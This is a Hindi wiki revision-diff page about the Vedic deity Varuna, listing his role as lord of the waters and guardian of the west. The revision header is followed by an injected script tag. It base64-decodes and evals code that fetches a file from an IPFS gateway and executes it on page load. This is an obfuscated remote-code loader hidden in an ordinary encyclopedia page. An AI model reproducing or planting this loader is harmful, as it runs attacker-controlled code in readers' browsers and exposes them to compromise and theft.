"वरुण" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
(नया पृष्ठ: {{menu}}<br /> ==वरूण / Varun== *सर्वप्रथम समस्त सुरासुरों को जीत कर राजसूय-यज्ञ ...)
 
पंक्ति १०: पंक्ति १०:
 
*श्रुतियों में वरूण की स्तुतियाँ हैं।  
 
*श्रुतियों में वरूण की स्तुतियाँ हैं।  
 
*कुछ आचार्यों के मत से केवल देवराज [[इन्द्र]] का पद कर्म के द्वारा प्राप्त होता है।  
 
*कुछ आचार्यों के मत से केवल देवराज [[इन्द्र]] का पद कर्म के द्वारा प्राप्त होता है।  
*वरूण, [[कुबेर]], [[यम]] आदि लोकपाल कारक-कोटि के हैं।  
+
*वरूण, [[कुबेर]], [[यमराज|यम]] आदि लोकपाल कारक-कोटि के हैं।  
 
*वरूण भगवान के ही स्वरूप हैं।  
 
*वरूण भगवान के ही स्वरूप हैं।  
  

१३:२१, ७ नवम्बर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वरूण / Varun

  • सर्वप्रथम समस्त सुरासुरों को जीत कर राजसूय-यज्ञ जलाधीश वरूण ने ही किया था।
  • वरूण सम्पूर्ण सम्राटों के सम्राट हैं।
  • वरूण पश्चिम दिशा के लोकपाल और जलों के अधिपति हैं।
  • पश्चिम समुद्र-गर्भ में इनकी रत्नपुरी विभावरी है।
  • वरूण का मुख्य अस्त्र पाश है।
  • वरूण के पुत्र पुष्कर इनके दक्षिण भाग में सदा उपस्थित रहते हैं।
  • अनावृष्टि के समय भगवान वरूण की उपासना प्राचीन काल से होती है। ये जलों के स्वामी, जल के निवासी हैं।
  • श्रुतियों में वरूण की स्तुतियाँ हैं।
  • कुछ आचार्यों के मत से केवल देवराज इन्द्र का पद कर्म के द्वारा प्राप्त होता है।
  • वरूण, कुबेर, यम आदि लोकपाल कारक-कोटि के हैं।
  • वरूण भगवान के ही स्वरूप हैं।